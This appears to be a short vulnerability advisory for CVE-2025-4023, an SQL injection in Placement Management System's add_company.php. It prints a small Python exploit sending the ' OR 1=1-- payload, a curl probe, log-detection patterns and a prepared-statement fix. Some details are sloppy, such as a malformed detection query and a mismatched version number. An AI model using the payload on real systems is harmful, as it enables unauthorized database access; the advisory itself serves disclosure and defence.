Placement Management System 10, SQL Injection, CVE-2025-4023 (Critical)

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How CVE-2025-4023 Works

The vulnerability exists in the `/add_company.php` file of Placement Management System 1.0 due to improper input sanitization of the `Name` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access. The flaw allows remote exploitation without authentication (CVSS:4.0 AV:N/AC:L/PR:N). The SQL injection occurs when user-supplied input is directly concatenated into SQL statements, enabling attackers to manipulate queries, extract sensitive data, or execute arbitrary commands.

DailyCVE Form

Platform: Placement Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Exploitation

import requests
target = "http://target.com/add_company.php"
payload = "' OR 1=1--"
data = {"Name": payload}
response = requests.post(target, data=data)
print(response.text)

Detection

SELECT FROM logs WHERE input LIKE "%' OR 1=1--%";

Protection

// Use prepared statements
$stmt = $conn->prepare("INSERT INTO companies (name) VALUES (?)");
$stmt->bind_param("s", $_POST['Name']);
$stmt->execute();

Mitigation

1. Patch `/add_company.php` with parameterized queries.

2. Deploy WAF rules to block SQLi patterns.

3. Restrict database user permissions.

Analytics

  • Attack Vector: Remote (HTTP POST)
  • Impact: Data leakage, RCE possible
  • Exploitability: High (public exploit available)

Commands

Check for vulnerable endpoints
curl -X POST -d "Name=test" http://target.com/add_company.php

Log Analysis

grep "add_company.php" /var/log/apache2/access.log | grep -i "union|select"

Patch Diff

- $sql = "INSERT INTO companies VALUES ('".$_POST['Name']."')";
+ $stmt = $conn->prepare("INSERT INTO companies (name) VALUES (?)");

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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